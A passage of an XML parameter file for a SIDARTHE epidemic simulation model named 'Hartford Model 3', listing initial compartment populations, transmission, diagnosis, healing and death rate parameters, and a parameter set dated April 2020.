<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.5246681233841226" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.50493362467682457" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.25246681233841228" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.12623340616920614" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.21111074995866533" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.21111074995866533" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.030251157089850718" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="1.8436391388622739" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="1.8436391388622739" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.20121746758778447" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.20121746758778447" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.36593958913329017" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="1.8436391388622739" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499999999982438" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.052224892074973897" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.0547498888209392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.0547498888209392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.0751077635399091" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.56715705672107464" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.17722489207479827" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="NaN" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="NaN" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2415320203921536" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="2.8239693375988774e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="894014" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="2.8239693375988773e-06" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="5.6479386751977548e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="1.4119846687994387e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.84647803746212447" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.84647803746212447" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH]" value="0.023860229638650941" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Total_Hospitalized]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ZeroDay]" value="3.1523440370603772" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="2.8239693375988773e-06" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="5.6479386751977548e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="2.8239693375988774e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="1.4119846687994387e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.21111074995866533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.21111074995866533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.030251157089850718" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.20121746758778447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.20121746758778447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.052224892074973897" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="1.8436391388622739" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.36593958913329017" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999982438" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.023860229638650941" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.023860229638650941" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.052224892074973897" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999982438" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_29" name="Model3 - 4/10">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_29">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-11T14:12:59Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="63.928053092170835" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572598.0561648649" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="2.0157820428713085" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="0.62348069662829841" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.60927335080289302" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.0064842422148731716" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.0060255511498161825" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.012625219896763582" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.012625219896763582" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.00042630720435361677" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="0.0010449623285421657" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="0.063200513623301813" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.0082437219218950055" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.0082437219218950055" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.06304561520000615" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="0.063200513623301813" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.061577041593043877" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.032185700109889796" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="66.94383513504215" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="66.94383513504215" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="0.0758257335200654" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="0.0758257335200654" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="0.0097149914547907876" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.07128933712190115" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.093762741702933666" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="8.3342970692225595" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="1.8149594811920993e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="1.7451417824741431e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.7053749814295295e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="1.6865704312652271e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
